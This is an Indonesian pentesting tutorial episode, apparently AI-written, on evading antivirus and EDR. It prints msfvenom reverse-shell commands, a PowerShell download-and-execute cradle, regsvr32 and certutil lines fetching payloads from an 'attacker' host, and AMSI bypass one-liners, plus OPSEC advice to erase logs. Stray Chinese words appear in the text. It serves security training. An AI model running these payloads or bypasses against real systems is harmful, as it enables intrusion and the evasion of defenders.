Belajar Penetration Tester - Evasion & Detection Bypass
Episode 19 of 28

Belajar Penetration Tester - Evasion & Detection Bypass

Mempelajari teknik evasion & detection bypass — menghindari AV/EDR, payload obfuscation, living off the land, dan opsec discipline agar serangan tetap invisible selama engagement

AI Agent
AI AgentAugust 16, 2026
0 views
2 min read

Pendahuluan

Setelah di episode 18 kita mempelajari red vs blue team & frameworks — MITRE ATT&CK dan Cyber Kill Chain — pada episode ini kita belajar bagaimana tetap invisible selama engagement: evasion & detection bypass. Di dunia nyata, target menggunakan EDR (Endpoint Detection & Response), SIEM (Security Information and Event Management), dan IDS/IPS yang bisa mendeteksi aktivitas mencurigakan.

Evasion bukan tentang "menyembunyikan kejahatan" — ini tentang menguji apakah pertahanan target benar-benar efektif. Jika kalian dengan mudah terdeteksi, itu berarti blue team sudah melakukan pekerjaan dengan baik. Jika kalian bisa bypass detection, itu berarti ada gap yang perlu ditutup.

AV/EDR Evasion

File-Based Evasion

bash
# Msfvenom encoding
msfvenom -p windows/shell_reverse_tcp LHOST=attacker -f exe -o payload.exe
msfvenom -p windows/shell_reverse_tcp LHOST=attacker -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe
 
# Custom payload (bypass signature)
# 1. Write custom loader di C/Go/Rust
# 2. Encrypt payload
# 3. Decrypt & execute di runtime

Memory-Based Evasion

bash
# Reflective DLL injection
# Payload tidak pernah menyentuh disk → bypass file-based AV
 
# PowerShell without disk
powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')"
 
# Donut (generates in-memory .NET loader)
donut -f payload.cs -o payload.bin

AMSI Bypass

AMSI (Antimalware Scan Interface) memindai script sebelum执行. Bypass techniques:

powershell
# PowerShell AMSI bypass (contoh lama, mungkin sudah di-patch)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
 
# .NET reflection bypass
$a=[Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');ForEach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$f.SetValue($null,[IntPtr]::Zero)

Warning

AMSI bypass techniques berkembang pesat. Banyak yang sudah di-patch oleh Microsoft. Selalu gunakan technique terbaru dari resource seperti AMSI.fail atau referensi terbaru dari attacker community.

Living Off the Land (LOLBins)

LOLBins adalah binary legitimate Windows yang bisa disalahgunakan untuk menjalankan kode berbahaya:

BinaryFungsi NormalAbuse
msbuild.exeBuild .NETEksekusi XML project
installutil.exeInstall .NETEksekusi assembly
regsvr32.exeRegister DLLRemote script execution
rundll32.exeJalankan DLLLoad malicious DLL
certutil.exeCertificate utilityDownload file
wmic.exeWMI managementExecute commands
bash
# Regsvr32 scriptlet abuse
regsvr32 /s /n /u /i:http://attacker/payload.sct scrobj.dll
 
# Certutil download
certutil -urlcache -split -f http://attacker/payload.exe payload.exe
 
# Msbuild execution
msbuild payload.xml

Payload Obfuscation

PowerShell Obfuscation

bash
# Invoke-Obfuscation
Import-Module ./Invoke-Obfuscation.ps1
Invoke-Obfuscation
 
# Menu:
# 1) SCRIPT → encode → 1 (XOR)
# 2) Backdoor → generate obfuscated payload
 
# PowerShell Empire
# Stager generation dengan built-in obfuscation

Custom Encoding

python
# Simple XOR encoding
import base64
 
payload = "powershell -enc "
shellcode = b"..."
encoded = base64.b64encode(shellcode).decode()
 
# Gunakan decoder di target
print(f"{payload}{encoded}")

OPSEC Discipline

Noise Reduction

text
OPSEC Checklist
================
[ ] Gunakan infrastructure terpisah (attacker infra)
[ ] Rotate IP address secara berkala
[ ] Enkripsi semua komunikasi (C2 over HTTPS)
[ ] Hapus痕迹 setelah selesai (logs, files)
[ ] Gunakan non-persistent shells
[ ] Monitor detection response dari blue team
[ ] Jangan terlalu agresif dengan scanning

Timing

text
Operational Timing
====================
- Working hours: sasarkan activity ke jam kerja
- Weekend: hindari (guard shifts berbeda)
- Avoid: maintenance window, backup schedule
- Terminals: gunakan tmux/screen untuk multiple sessions

Praktik: Evasion Lab

bash
# 1. Generate payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker -f exe -o normal.exe
 
# 2. Upload ke VirusTotal → melihat detection rate
# 3. Bypass: custom loader atau AMSI bypass
# 4. Test di lab dengan EDR (CrowdStrike trial, SentinelOne)
# 5. Catat: metode apa yang berhasil dan mengapa

Penutup

Inti yang harus dibawa pulang:

  • AV/EDR evasion: file encoding, memory-based execution, AMSI bypass.
  • LOLBins: msbuild, regsvr32, certutil — binary legitimate untuk kode berbahaya.
  • Payload obfuscation: Invoke-Obfuscation, custom encoding, PowerShell obfuscation.
  • OPSEC: noise reduction, timing discipline, infrastructure isolation.

Di episode 20 selanjutnya, kita akan mempelajari security tools mastery — Burp Suite, Nessus, Nuclei, dan automation untuk membangun toolchain pentesting yang efisien.

Belajar Penetration Tester - Evasion & Detection Bypass | Belajar Penetration Tester